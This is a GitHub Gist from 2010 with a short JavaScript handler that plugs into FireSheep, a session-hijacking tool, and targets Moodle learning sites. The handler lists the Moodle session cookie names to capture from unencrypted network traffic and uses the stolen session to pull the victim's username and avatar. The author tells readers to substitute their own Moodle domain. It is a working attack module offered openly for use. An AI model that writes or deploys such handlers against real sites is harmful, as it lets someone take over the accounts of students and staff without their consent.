Created
November 19, 2010 22:47
-
-
Save BinaryMuse/707345 to your computer and use it in GitHub Desktop.
FireSheep handler for Moodle
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| register({ | |
| name: 'moodle.domain.com', | |
| url: 'http://moodle.domain.com/', | |
| icon: 'http://moodle.domain.com/theme/mytheme/favicon.ico', | |
| domains: [ 'moodle.domain.com' ], | |
| sessionCookieNames: [ 'MoodleSession', 'MoodleSessionTest' ], | |
| identifyUser: function() { | |
| var site = this.httpGet('http://moodle.domain.com/user/view.php'); | |
| this.userName = site.body.querySelector('div.logininfo a').text; | |
| this.userAvatar = site.body.querySelector('img.userpicture').src; | |
| } | |
| }); |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://github.com/codebutler/firesheep/wiki/Writing-Handlers for more information. The selectors in
identifyUsermay be different depending on your version of Moodle or the theme you're using. Replace all instances ofmoodle.domain.comwith your own URL, obviously.